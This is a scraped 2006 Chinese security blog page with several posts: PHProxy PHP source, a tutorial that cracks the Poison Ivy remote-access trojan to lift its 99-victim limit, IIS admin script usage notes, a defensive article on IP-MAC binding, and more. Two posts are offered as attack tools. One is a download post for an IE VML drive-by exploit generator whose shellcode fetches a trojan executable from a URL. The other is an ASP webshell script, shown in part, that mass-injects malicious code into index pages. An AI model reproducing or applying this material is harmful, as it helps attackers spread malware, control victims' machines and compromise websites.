$this->flags['show_images'] = $flags == 1 ? 1 : 0;
$this->flags['show_referer'] = $flags == 1 ? 1 : 0;
}
else if (isset($_COOKIE['flags']))
{
$this->set_flags($_COOKIE['flags']);
}
}

function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";

if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}

$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
$this->set_post_body($_POST);

$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: " . strlen($this->post_body) . "\r\n\r\n";
$headers .= $this->post_body;
}

$headers .= "\r\n";

$this->request_headers&nbsp
;= $headers;
}

function set_post_body($array, $parent_key = null)
{
foreach ($array as $key => $value)
{
if (is_array($value))
{
$this->set_post_body($value, isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key));
}
else
{
$this->post_body .= $this->post_body != '' ? '&' : '';
$key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);
$this->post_body .= $key . '=' . urlencode(__stripslashes($value));
}
}
}

function follow_location()
{
if (preg_match("#(location|uri):([^\r\n]*)#i", $this->response_headers, $matches))
{
$uri = $this->decode_url(trim($matches[2]));

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
if (substr($uri, 0, 1) == '/')
{
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
}
else
{
$uri = $this->url_segments['prefix'] . '/' . $uri;
}
}

$this->url = $uri;
return true;
}
return false;
}

function set_cookies()
{
if (preg_match_all("#set-cookie:([^\r\n]*)#i", $this->response_headers, $matches))
{
foreach ($matches[1] as $match)
{
preg_match('#^\s*([^=;,\s]*)=?([^;,\s]*)#', $match, $cookie) ? list(, $name, $value) = $cookie : null;
preg_match('#;\s*expires\s*=([^;]*)#i', $match, $cookie) ? list(, $expires) = $cookie : null;
preg_match('#;\s*path\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $path) = $cookie : null;
preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $domain) = $cookie : null;
preg_match('#;\s*(secure\b)#i', $match, $cookie) ? list(, $secure) = $cookie : null;

$expires = isset($expires) ? strtotime($expires) : 0;
$path = isset($path) ? $path : $this->url_segments['dir'];
$domain = isset($domain) ? $domain : $this->url_segments['host'];
$domain = rtrim($domain, '.');

if (!preg_match("#$domain$#i", $this->url_segments['host']))
{
continue;
}
if (preg_match('#\.(com|edu|net|org|gov|mil|int|aero|biz|coop|info|museum|name|pro)$#i', $domain))
{
if (substr_count($domain, '.') < 2)
{
continue;
}
}
else if (substr_count($domain, '.') < 3)
{
continue;
}
setcookie(urlencode("PHProxy;$name;$domain;$path"), $value, $expires, '', $_SERVER['HTTP_HOST']);
}
}
}

function get_cookies($restrict = true)
{
if (!empty($_COOKIE))
{
$cookies = '';

foreach ($_COOKIE as $cookie_name => $cookie_value)
{
$cookie_args = explode(';', urldecode($cookie_name));

if ($cookie_args[0] != 'PHProxy')
{
continue;
}

if ($restrict)
{
list(, $name, $domain, $path) = $cookie_args;
$domain = str_replace('_', '.', $domain);

if (preg_match("#$domain$#i", $this->url_segments['host']) && preg_match("#^$path#i", $this->url_segments['path']))
{
$cookies .= $cookies != '' ? '; ' : '';
$cookies .= "$name=$cookie_value";
}
}
else
{
array_shift($cookie_args);
$cookie_args[1] = str_replace('_', '.', $cookie_args[1]);
$cookie_args[] = $cookie_value;
$cookies[] = $cookie_args;
}
}
return $cookies;
}
}

function delete_cookies($hash)
{
$cookies = $this->get_cookies(false);

foreach ($cookies as $args)
{
if ($hash == 'all' || $hash == md5($args[0].$args[1].$args[2].$args[3]))
{
setcookie(urlencode("PHProxy;$args[0];$args[1];$args[2]"), '', 1);
}
}
}

function return_response($send_headers = true)
{
if (strpos($this->content_type, 'text/html') !== false || strpos($this->content_type, 'xhtml') !== false)
{
if ($this->flags['remove_scripts'] == 1)
{
$this->remove_scripts();
}
if ($this->flags['show_images'] == 0)
{
$this->remove_images();
}

$this->modify_urls();

if ($this->flags['include_form'] == 1)
{
$this->include_form();
}
}
$headers = explode("\r\n", trim($this->response_headers));
$headers[] = 'Content-Disposition: '. (strpos($this->content_type, 'octet_stream') ? 'attachment' : 'inline') .'; filename='. substr($this->url_segments['path'], strrpos($this->url_segments['path'], '/')+1);
$headers[] = 'Content-Length: '. strlen($this->response_body);

if ($send_headers)
{
foreach ($headers as $header)
{
header($header);
}
}

return $this->response_body;
}

function remove_scripts()
{
$this->response_body = preg_replace('#<script[^>]*?>.*?</script>#si', '', $this->response_body); // Remove any scripts enclosed between <script />
$this->response_body = preg_replace("#\s*(\bon\w+)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", "", $this->response_body); // Remove javascript event handlers
$this->response_body = preg_replace('#<noscript>(.*?)</noscript>#si', "", $this->response_body); //expose any html between <noscript />

}

function remove_images()
{
$this->response_body = preg_replace('#<(img|image)[^>]*?>#si', '', $this->response_body);
}

function include_form()
{
ob_start();
?><script src="javascript.js" type="text/javascript"></script>
<div style="text-align: center;border: 1px solid #00c; color: #000066;background-color: #eeeeff;font-size: 11px">
<form name="proxy_form" method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form name="settings" action="" method="get" onsubmit="return submit_form();">
Current URI: <input type="text" size="66" name="url" value="<?php echo $this->url ?>" />
<input type="submit" name="browse" value="Browse" onclick="return submit_form();" />
<input type="checkbox" name="new_window" value="true" /> New Window [<a href="<?php echo $this->script_url ?>?url=<?php&nbsp
;echo $this->encode_url($this->url_segments['prev_dir']) ?>">Up One Directory</a>]<br />
<?php echo $this->options_list() ?>
</form></div><hr style="color: #000066" /><?
$form_html = ob_get_contents();
ob_end_clean();
$this->response_body = preg_replace("#\<body(.*?)\>#si", "\n$form_html", $this->response_body, 1);
}

function trigger_error($error)
{
header("Location: $this->script_url?error=$error");
exit;
}

function options_list($tabulate = false, $comments_on = false)
{
$output = '';
$comments = array();
$comments['include_form'] = 'Includes a mini URL-form on every HTML page';
$comments['remove_scripts'] = 'Remove all sorts of client-side scripting';
$comments['accept_cookies'] = 'Accept HTTP cookies';
$comments['show_images'] = 'Show images';
$comments['show_referer'] = 'Show referring website in HTTP headers';

foreach ($this->flags as $flag_code => $flag_status)
{
$interface = array(ucwords(str_replace('_', ' ', $flag_code)),
' <input type="checkbox" name="ops[]"'
. ($flag_status == 1 ? ' checked="checked"' : '') . ' /> '
);
$tabulate ? null : $interface = array_reverse($interface);

$output .= ($tabulate ? '<tr><td class="option">' : '')
. $interface[0]
. ($tabulate ? '</td><td class="option">' : '')
. $interface[1]
. ($comments_on ? $comments[$flag_code] : '')
. ($tabulate ? '</td></tr>' : '');
}

return $output;
}

}

$PHProxy = new PHProxy(isset($_GET['flags']) ? $_GET['flags'] : null);

if (isset($_GET['action'], $_GET['delete']) && $_GET['action'] == 'cookies')
{
$PHProxy->delete_cookies($_GET['delete']);
header("Location: $PHProxy->script_url?action=cookies");
exit();
}

if (isset($_GET['url']))
{
$PHProxy->start_transfer($_GET['url']);
echo $PHProxy->return_response();
exit();
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>PHProxy</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<style>
body
{
margin: 10px 0px 0px 0px;
padding: 0px;
font-size: 12px;
}

form, input
{
margin: 0px;
padding: 0px;
}

body, input
{
font-family: lucida sans unicode, lucida, helvetica, verdana, arial, sans-serif;
}

input
{
font-size: 10px;
font-weight: bold;
color: #E76B18;

}

.title
{
font-size: 25px;
color: #E67D0B;
border-bottom: 1px solid #E76B18;
}

.error
{
font-size: 12px;
background-color: #FF0000;
color: #FFFFFF;
border-bottom: 1px solid #E76B18;
}

#container
{
border: 1px solid #CCCDD7;
width: 700px;
margin: auto;
}

#menu
{
border-left: 1px solid #CCCDD7;
border-bottom: 1px solid #CCCDD7;
float: right;
height: 20px;
background-color: #EEEEEE;
}

.option
{
height: 25px;
border-bottom: 1px solid #3399FF;
}

.shade
{
background-color: #EEEEEE;
}

.head
{
background-color: #A2AACE;
}

a:link, a:visited
{
color: #21A121;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}

a:hover, a:active
{
color: #3399FF;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}
</style>
<script type="text/javascript">
alpha1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
alpha2 = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

function str_rot13(str)
{
newStr = '';

for (i = 0; i < str.length; i++)
{
curLet = str.charAt(i);
curLetLoc = alpha1.indexOf(curLet);

if (curLet == '#')
{
document.proxy_form.action += str.substring(i, str.length)
}

newStr += (curLetLoc < 0) ? curLet : alpha2.charAt(curLetLoc);
}

return newStr;
}

function submit_form()
{
flags = '';

for (i = 0; i < document.settings.elements['ops[]'].length; i++)
{
flags += (document.settings.elements['ops[]'].checked == true) ? '1' : '0';
}

document.proxy_form.flags.value = flags;
document.proxy_form.target = (document.settings.new_window.checked == true) ? '_blank' : '_top';
searchPattern = /^([\w+.-]+):\/\//gi;
document.proxy_form.url.value = str_rot13(document.settings.url.value.replace(searchPattern, "\/"));
document.proxy_form.submit();
return false;
}
</script>
</head>
<body>
<div id="container">
<div id="menu"><a href="?action=form">URL Form</a> | <a href="?action=cookies">Manage Cookies</a></div>
<div class="title">PHProxy</div>
<?php

if (isset($_GET['error']))
{
echo '<div class="error"><b>Error:</b> ' . $_GET['error'] . '</div>';
}

if (isset($_GET['action']) && $_GET['action'] == 'cookies')
{
$cookies = $PHProxy->get_cookies(false);

if (!empty($cookies))
{
echo '<table style="width: 100%">';
echo '<tr><td class="option" colspan="5"><a href="?action=cookies&delete=all">Clear All Cookies</a></td></tr>';
echo '<tr><td class="head">Name</td><td class="head">Domain</td><td class="head">Path</td><td class="head">Value</td><td class="head">Action</td></tr>';

for ($i = 0; $i < count($cookies); $i++)
{
$j = $i&1 ? ' class="shade"' : '';
echo "<tr><td$j></td><td$j></td><td$j></td>"
. "<td$j></td><td$j><a href=". '"?action=cookies&delete='. md5(implode('', $cookies[$i])) . '">delete</a></td></tr>';
}

echo '</table>';
}
else
{
echo '<div class="error">No cookies&nbs
p;available.</div>';
}
}
else
{
?>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>" name="proxy_form">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form method="get" name="settings" action="" onsubmit="return submit_form();">
<table style="width: 100%">
<tr><td class="option" style="width: 20%">URL</td><td class="option" style="width: 80%"> <input type="text" name="url" size="70" value="" /></td></tr>
<?php echo $PHProxy->options_list(true, true) ?>
</table>
<div style="text-align: center"><input type="checkbox" name="new_window" />New Window <input type="submit" name="browse" value="Browse" onclick="return submit_form();" /><input type="reset" value="Reset Form" /></div>

<?
/*
<div style="text-align: center"><a href="PHProxyhttp://sourceforge.net/projects/poxy/">PHProxy</a> <?php echo $PHProxy->version ?> Copyright 2004 <a href="ultimategamer00http://www.whitefyre.com/">ultimategamer00</a></div>
*/
?>

</form>
<?php
}

echo '</div></body></html>';
?>

分类: 技术文章 标签: ,

打造完美的Poison Ivy 2.10

2006年9月28日 没有评论 98 views

文章作者:快乐的人
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

题记----一些话
附:全文已发到黑防
这篇文章到底算什么呢?一般的安全类论坛(比如说邪八)好像不怎么讨论破解相关的问题,而专业的破解论坛(一蓑烟雨、看雪)又一直拒绝对木马、病毒的脱壳破解分析、那么我这个破解木马的文章应该算那类呢?
再过几天就是国庆和中秋了,先在这里祝大家有个开心的国庆节和中秋节

图片上传不便,附件中有图文版本的全文

打造完美的Poison Ivy 2.10

Poison Ivy是一款很不错的木马,黑防曾经对他有过介绍,这里就不再多说了,想了解的朋友可以查阅晚期黑防,个人对Poison Ivy的评价是短小精悍,生成的服务端为加壳7K,加壳5K远远比国内一些常用木马小,然而功能一点不少,是一个实用价值很高的木马

最近Poison Ivy推出了最新的2.10版本,增加了功能,加强了稳定性,但是,开始了连接数限制,作者也开始销售商业免杀版本了,一个好的软件走向商业之路未免不是一件好事,但是想以限制免费版本功能来推进商业版本的销售未免有些不厚道啊,我们今天就来解决他,制作以个自己的无限制版本(PS:除了免杀要自己做做之外,完全可以和商业版本媲美了哦)

下面正式开始分析,主程序PI2.1.0.exe 查壳得知ASProtect 2.1x SKE -> Alexey Solodovnikov
详细版本是Version: ASProtect 1.35 build 04.25 or 06.26 Release [Extract],这个壳可是大名鼎鼎,称为加密壳的老大是毫不过分,但是我们不必害怕,因为VolX大侠已经写了一个脚本能够帮助我们完成一大半任务,我们开始吧
一、运行脚本,dump
来到入口,选择不继续分析
注意要先隐藏调试器,如图

:运行VolX大侠脚本Aspr2.XX_IATfixer_v1.02s。
当出现 “import table is fixed....................”的讯息框, 点确定键后,再到 OD 点击 plugin-ODGscript-resume, 就可到 OEP。

然后resume

00ED0501 55 push ebp ; 00051DBA8
00ED0502 E9 380E0000 jmp 00ED133F
00ED0507 33C0 xor eax,eax
00ED0509 E9 820F0000 jmp 00ED1490
00ED050E EB 01 jmp short 00ED0511
00ED0510 6903 44241803 imul eax,dword ptr ds:[ebx],3182444
00ED0516 44 inc esp
00ED0517 24 38 and al,38
00ED0501断在这里,记住后面的注释00051DBA8,减去基址004000000,我们得到0011dba8
使用LORDPE完整转存,保存成dumpd.exe,启动\ImportREC v1.6F Fix,填入OEP 0011dba8,
回到ollydbg ALT +L打开记录窗口

iatstartaddr: 00525208-400000=125208 //RVA
iatsize: 000008A0 //Size

在ImportREC中填入OEP=11dba8,RVA=125208,Size=8A0--->获取输入表,显示2个无效指针。
显示未解决的指针2个,右键--->插件跟踪--->ASPRotect 1.2--->修复这2个无效指针。

修复转储文件,得到dumped_.exe。
二、补区段。

Alt+M,打开内存窗口。
在00AB0000~01120000下所有Priv类型F2断点,为啥在该范围下断?我们先用寻找OEP的脚本运行后,在内存窗口记录下这个程序后面的最高区段,在这里作为参考。

F9多次,直到运行到出现程序界面,Alt+M,打开内存窗口。
发现使用的区段为:
00AB0000-00AC0000
00ED0000-00ED3000
00EE0000-00F10000
00F10000-00F14000
010C0000-010C1000
010E0000-010E1000
010F0000-010F1000
01100000-01101000
01110000-01111000
01120000-01121000
共11个区段,LordPE--->区域转存--->上面的10个区段。
将上面的区段全部加入dumped_.exe,并且逐一修正VM Address
注意每个区段都要减去00400000
完成后如图所示

三、壳自检Route CHECK

syscom大侠说:
当你脱壳之后,B=会发生错误 ERROR 111,所以我们只要,抓出正确的 CALL Route Address,就可以通过CHECK SUM ,也就是
在 [ESP+58]的 STACK 位址。
所以我们使用 MOV EAX,[ESP+58] ,来还原B值+5 后修正B值 Address。
Route CHECK,算是壳的自我检查,它是由 A,B 两数值,作互减运算:
A=GetCurrentThreadID
B=CALL Route Address
运算后 ...
B=B-A

我们开始修改,在新补的区段全部F2下断,三次F9,停在这里时开始修改

00F04BC0 55 push ebp
00F04BC1 8BEC mov ebp,esp
00F04BC3 83C4 F8 add esp,-8
00F04BC6 53 push ebx
00F04BC7 56 push esi
00F04BC8 57 push edi
00F04BC9 8B5D 08 mov ebx,dword ptr ss:[ebp+8]
00F04BCC EB 01 jmp short dumpd1_.00F04BCF

00F04BCF 8B45 18 mov eax,dword ptr ss:[ebp+18]
00F04BD2 83E8 08 sub eax,8
00F04BD5 8B00 mov eax,dword ptr ds:[eax]
00F04BD7 50 push eax
00F04BD8 8A8B 8E000000 mov cl,byte ptr ds:[ebx+8E]
00F04BDE 8B55 14 mov edx,dword ptr ss:[ebp+14]
00F04BE1 8BC3 mov eax,ebx
00F04BE3 E8 B4FFFFFF call dumpd1_.00F04B9C
00F04BE8 8B45 18 mov eax,dword ptr ss:[ebp+18]
00F04BEB 50 push eax
00F04BEC B1 04 mov cl,4
00F04BEE 8B55 14 mov edx,dword ptr ss:[ebp+14]
00F04BF1 8BC3 mov eax,ebx
00F04BF3 E8 A4FFFFFF call dumpd1_.00F04B9C
00F04BF8 EB 01 jmp short dumpd1_.00F04BFB

修改以下语句
mov eax,dword ptr ds:[eax+34] 修改成 nop
call eax 修改成 nop
sub dword ptr ss:[ebp+C],eax 修改成 mov eax,dword ptr ss:[esp+58]
mov eax,dword ptr ss:[ebp+C] 修改成 sub eax,5
二进制:90 90 8B 44 24 58 83 E8 05 90 90

修改后代码:
00F04BFB 8B73 30 mov esi,dword ptr ds:[ebx+30] ; dumpd1_.00ED237A
00F04BFE 8B7B 14 mov edi,dword ptr ds:[ebx+14]
00F04C01 A1 DC67F000 mov eax,dword ptr ds:[F067DC]
00F04C06 90 nop
00F04C07 90 nop
00F04C08 8B4424 58 mov eax,dword ptr ss:[esp+58]
00F04C0C 83E8 05 sub eax,5
00F04C0F 90 nop
00F04C10 90 nop
00F04C11 2B43 18 sub eax,dword ptr ds:[ebx+18]
00F04C14 2B43 68 sub eax,dword ptr ds:[ebx+68]
00F04C17 8945 FC mov dword ptr ss:[ebp-4],eax
00F04C1A 8D43 24 lea eax,dword ptr ds:[ebx+24]
00F04C1D 8945 F8 mov dword ptr ss:[ebp-8],eax
00F04C20 85FF test edi,edi

现在运行一下看看,我们脱壳顺利完成了
四:破除99用户限制
据tonyuo老兄说99用户限制,我们来解决
使用w32dasm搜索cmp ebx,63
我们来到
0040BC72 833D 48375200 1>cmp dword ptr ds:[523748],12
0040BC79 75 3A jnz short dumpd1_.0040BCB5
0040BC7B 83FB 63 cmp ebx,63 就是这里了
0040BC7E 7F 24 jg short dumpd1_.0040BCA4
0040BC80 E8 57F1FFFF call dumpd1_.0040ADDC
0040BC85 0FB7C8 movzx ecx,ax
瞧:与63(十六进制的99)比较,jg大于就跳走了
我们把这里NOP掉
OK,限制解除

五;暗桩修复
本来我以为每什么问题了,发给朋友门测试,8way老兄是有问题,测试存在此问题,没想到作者还留下了暗桩,脱壳版本在点击上线肉鸡进行控制时会发生内存读取异常
解决办法:启动Poison Ivy,生成个服务端,在虚拟机中运行,上线后,使用ollydbg附加
然后点击上线肉鸡,ollydbg自动捕获异常,回溯堆栈,找出跳转
最终把偏移2770处的75改成EB,再次测试,完全通过

很多人认为crack很难,其实并不是这样,只要有了正确的思路,就能够最快的做你想做的事情,经过破解了的Poison Ivy2。10已经由8way老兄汉化了,汉化完成的版本已经放到光盘里了,有兴趣的朋友可以去看看,顺便写个汉化版本出处
http://www.msmm.cn/read.php?tid=1238 最后感谢一下8way和tunyup两位老兄的帮助

快乐的人
2006-9-27 9:58:35 AM

分类: 技术文章 标签:

IIS的AdminScripts下工具使用全解

2006年9月27日 没有评论 66 views

配置目录的存取权限
C:\Inetpub\AdminScripts>chaccess.vbs -a w3svc/1/ROOT -verbose
Usage: chaccess <--ADSPath|-a ADSPATH> 控制配置路径
[--computer|-c COMPUTER1[,COMPUTER2...]]指定机器名,IP也可。
[+read|-read] 主目录下的读取权限
[+write|-write]主目录下的写入权限
[+script|-script]主目录下的执行许可权限为纯脚本
[+execute|-execute]主目录下的执行许可权限为脚本和可执行程序
[+browse|-browse]主目录下的目录浏览权限
[--verbose|-v]当前版本
[--help|-?]

显示指定路径的属性及状态信息
C:\Inetpub\AdminScripts>dispnode help
Usage: dispnode <--ADSPath|-a ADS PATH OF NODE> [--help|-h]
ADS PATH - The Path of the node to be displayed
Example 1: dispnode -a IIS://LocalHost/w3svc显示当前IIS的主属性
Example 2: dispnode --adspath IIS://MachineName/w3svc/1 显示当前站点的状态信息
寻找命名的Web,并显示节点号、描述、主机名、端口和IP地址
C:\Inetpub\AdminScripts>findweb
Web Site Number = 1
Web Site Description = 默认 Web 站点
Hostname =
Port = 80
IP Address =
C:\Inetpub\AdminScripts>findweb m7.net
Web Site Number = 2
Web Site Description = m7.net
Hostname = www.m7.net
Port = 80
IP Address = www.m7.net

显示指定站点路径管理树
C:\Inetpub\AdminScripts>disptree.vbs help
Usage: disptree [--ADSPath|-a ROOT NODE] 指定要显示管理树的路径
[--NoRecurse|-n]
[--Help|-?]

创建WEB虚拟站点
C:\Inetpub\AdminScripts>mkw3site help
Unknown argument help
Usage: mkw3site <--RootDirectory|-r ROOT DIRECTORY>网站路径名
<--Comment|-t SERVER COMMENT>WEB网站标识
[--computer|-c COMPUTER1[,COMPUTER2...]]
[--port|-o PORT NUM]端口
[--IPAddress|-i IP ADDRESS]IP地址
[--HostName|-h HOST NAME]主机名
[--SiteNumber|-n SITENUMBER]
[--DontStart]不启动
[--verbose|-v]
[--help|-?]

创建指定站点的虚拟目录
C:\Inetpub\AdminScripts>mkwebdir.vbs help
Usage: mkwebdir [--computer|-c COMPUTER1,COMPUTER2]指定服务器名
<--website|-w WEBSITE1>指定虚拟站点名
<--virtualdir|-v NAME1,PATH1,NAME2,PATH2,...>指定虚拟目录名和目录文件地址
[--help|-?]
Example : mkwebdir -c MyComputer -w "Default Web Site"
-v "dir1","c:\inetpub\wwwroot\dir1","dir2","c:\inetpub\wwwroot\dir2"

暂停指定站点的IIS服务
C:\Inetpub\AdminScripts>pausesrv help
Usage: pausesrv <--ADSPath|-a server1[,server2,server3...]>
[--computer|-c COMPUTER1[,COMPUTER2...]]
[--verbose|-v]
[--help|-?]
Example 1: pausesrv -a w3svc/1,msftpsvc/2
Example 2: pauseftp -c MACHINE1,MACHINE2,MACHINE3 -a w3svc/1,msftpsvc/2
恢复暂停的站点的IIS服务
C:\Inetpub\AdminScripts>contsrv.vbs help
Usage: contsrv <--ADSPath|-a server1[,server2,server3...]>
[--computer|-c COMPUTER1[,COMPUTER2...]]
[--verbose|-v]
[--help|-?]
Example 1: contsrv -a w3svc/1,msftpsvc/2
Example 2: contsrv -c MACHINE1,MACHINE2,MACHINE3 -a w3svc/1,msftpsvc/2

用法同上
pauseftp.vbs 暂停FTP服务器服务
contftp.vbs 恢复被暂停的FTP服务
pauseweb.vbs 暂停Web服务器服务
contweb.vbs 恢复暂停的WWW服务

停止指定站点的IIS服务器服务
C:\Inetpub\AdminScripts>stopsrv.vbs -a w3svc/2
启动指定站点的IIS服务器服务
C:\Inetpub\AdminScripts>startsrv.vbs -a w3svc/2

停止指定站点的WEB服务器服务
C:\Inetpub\AdminScripts>startweb.vbs -a w3svc/2
启动指定站点的Web服务器服务
C:\Inetpub\AdminScripts>stopweb.vbs -a 2
用法同上
stopftp.vbs 停止FTP服务器服务
startftp.vbs 启动FTP服务器服务
跟踪脚本的执行
C:\Inetpub\AdminScripts>synciwam.vbs -h
Usage: cscript synciwam.vbs [-v|-h]
-v verbose: trace execution of the script
-h help: print this message

分类: 技术文章 标签:

过Windows SP2的IE_VML网页木马生成器

2006年9月27日 没有评论 76 views

文章作者:XiaoC
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

本人根据jamikazu 的代码修改的,克服了n0p的溢出只能在2000系统上运行的缺陷!
过Windows SP2的IE_VML网页木马生成器
过Windows SP2

使用方法:
注:请勿直接运行Shellcode.exe!
1.用记事本打开“生成.bat” 修改http://www.cc99.cn/xxx.exe为你的马的地址。
2.保存“生成.bat”后双击运行,即可生成ShellCode.txt.
3.用记事本打开IE_VML.htm,找到#########Your Shellcode!!!#########的字样,
把生成的ShellCode.txt中的Shellcode复制替换#########Your Shellcode!!!#########,保存!
4.网页木马就这样生成拉!
本程序仅供学习使用,请务用于非法用途,否则后果自负!
利用代码提供
Author: jamikazu
Mail: jamikazu@gmail.com
Credit: metasploit, SkyLined
感谢n0p提供Shellcode
XiaoC修改合成制作

下载地址:http://www.cc99.cn/viewdown.asp?id=66

分类: 资源共享 标签:

教你怎样堵住非法IP的漏洞

2006年9月27日 没有评论 58 views

在大多数局域网的运行管理工作中,网络管理员负责管理用户IP地址的分配,用户通过正确地注册后才被认为是合法用户。在局域网上任何用户使用未经授权的 IP地址都应视为IP非法使用。但在Windows操作系统中,终端用户可以自由修改IP地址的设置,从而产生了IP地址非法使用的问题,改动后的IP地址在局域网中运行时可能出现种种情况。
  1)非法的IP地址即IP地址不在规划的局域网范围内。

  2)重复的IP地址与已经分配且正在局域网运行的合法的IP地址发生资源冲突,使合法用户无法上网。

  3)冒用合法用户的IP地址。当合法用户不在线时,冒用其IP地址联网,使合法用户的权益受到侵害。

  实际上,IP地址的非法使用问题,不是普通的技术问题,而是一个管理问题。只有找到其存在的理由,根除其存在的基础,才可能从根本上杜绝其发生。分析非法使用者的动机有以下几种情况:首先是干扰、破坏网络服务器和网络设备的正常运行;其次是企图拥有被非法使用的IP地址所拥有的特权。最典型的,就是因特网访问权限。最后是因机器重新安装、临时部署等原因,无意中造成的非法使用。

非法使用方法

  静态修改IP地址配置时,用户在配置TCP/IP选项时,使用的不是管理员分配的IP地址,就形成了IP地址的非法使用。而修改MAC地址和IP地址时,非法用户还有可能将一台计算机的IP地址和MAC地址都改为另一台合法主机的IP地址和MAC地址。他们可以使用允许自定义MAC地址的网卡或使用软件修改MAC地址。当然也有比较恶劣的使用,是IP电子欺骗。其通过编程来伪造某台主机IP地址,从而躲避相关机关的调查。
解决方法  

静态ARP表的绑定

  对于静态修改IP地址的问题,可以采用静态路由技术加以解决,即IP-MAC地址绑定。因为在一个网段内的网络寻址不是依靠IP地址而是物理地址。IP 地址只是在网际之间寻址使用的。因此作为网关的路由器上有IP-MAC的动态对应表,这是由ARP协议生成并维护的。配置路由器时,可以指定静态的ARP 表,路由器会根据静态的ARP表检查数据包,如果不能对应,则不进行数据转发。该方法可以阻止非法用户在不修改MAC地址的情况下,冒用IP地址进行跨网段的访问。

交换机端口绑定

  借助交换机的端口,MAC地址绑定功能可以解决非法用户修改MAC地址以适应静态ARP表的问题。可管理的交换机中都有端口-MAC地址绑定功能。使用交换机提供的端口地址过滤模式,即交换机的每一个端口只具有允许合法MAC地址的主机通过该端口访问网络,任何来自其它MAC地址的主机的访问将被拒绝。

VLAN划分

  严格来说,VLAN划分不属于技术手段,而是管理与技术结合的手段。将具有相近权限的IP地址划分到同一个VLAN,设置路由策略,可以有效阻止非法用户冒用其他网段的IP地址的企图。

结合身份认证

  避免采用针对IP地址的直接授权的管理模式,综合运用用户名、口令、加密、VPN及其他应用层的身份认证机制,构成多层次的严密的安全体系,可以有效降低IP地址非法使用所带来的危害。

管理建议

  在网络管理员完成上述堵截非法IP地址设置之后,还需要从管理观念上进行新的培训。比如要使普通用户明白非法使用IP地址所产生的危害和处罚措施,制定并实施严格的IP地址管理制度,包括:IP地址申请和发放流程,IP地址变更流程,临时IP地址分配流程,机器MAC地址登记管理,IP地址非法使用的处罚制度。

  此外,还要尽量使用简单、易于管理的网络肝利系统,不仅可以完成日常监视和日志功能,同时还要及时有效的发现网络中的 IP地址变化、MAC地址变化、交换机端口改变等异常行为,帮助网络管理员查找网络故障的根源。这样,网络管理员还可以借助网管系统,很方便的管理网络交换机,针对个别问题突出的用户,进行交换机端口绑定操作,禁止其修改MAC地址。

  总之,如果单纯应用技术手段来防范IP地址的非法使用,系统投资成本和人员开支相对较大,所以在技术+管理,才能实现高可靠性的系统运行与低成本的管理维护的统一。

分类: 技术文章 标签:

Webshell下自动挂马的ASP

2006年9月25日 没有评论 149 views

一个webshell下自动挂马的ASP,挂马的朋友不可错过哦^_^

<%Server.ScriptTimeout=10000 
Response.Buffer=False 
%> 
<html> 
<head> 
<title></title> 
<**** http-equiv="Content-Type" content="text/html; charset=gb2312"> 
</head> 
<body> 
<% 
ASP_SELF=Request.ServerVariables("PATH_INFO") 

s=Request("fd") 
ex=Request("ex") 
pth=Request("pth") 
newcnt=Request("newcnt") 

If ex<>"" AND pth<>"" Then 
select Case ex 
Case "edit" 
CALL file_show(pth) 
Case "save" 
CALL file_save(pth) 
End select 
Else 
%> 
<form action="<%=ASP_SELF%>" method="POST"> 
FOLDER (ABSOLUTE PATH): 
<input type="text" name="fd" size="40"> 
<input type="submit" value="SUBMIT"> 
</form> 
<%End If%> 
<% 
Function IsPattern(patt,str) 
Set regEx=New RegExp 
regEx.Pattern=patt 
regEx.IgnoreCase=True 
retVal=regEx.Test(str) 
Set regEx=Nothing 
If retVal=True Then 
IsPattern=True 
Else 
IsPattern=False 
End If 
End Function 

If IsPattern("[^ab]:(\\|\/)",s) Then 
sch s 
Else 
If s<>"" Then Response.Write "Invalid Agrument!" 
End If 

Sub sch(s) 
oN eRrOr rEsUmE nExT 
Set fs=Server.createObject("Scripting.FileSystemObject") 
Set fd=fs.GetFolder(s) 
Set fi=fd.Files 
Set sf=fd.SubFolders 
For Each f in fi 
rtn=f.Path 
step_all rtn 
Next 
If sf.Count<>0 Then 
For Each l In sf 
sch l 
Next 
End If 
End Sub 

Sub step_all(agr) 
retVal=IsPattern("(\\|\/)(default|index)\.(htm|html|asp|php|jsp)\b",agr) 
If retVal Then 
step1 agr 
step2 agr 
Else 
Exit Sub 
End If 
End Sub 
%> 
<%Sub step1(str1)%> 
<a href="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br> 
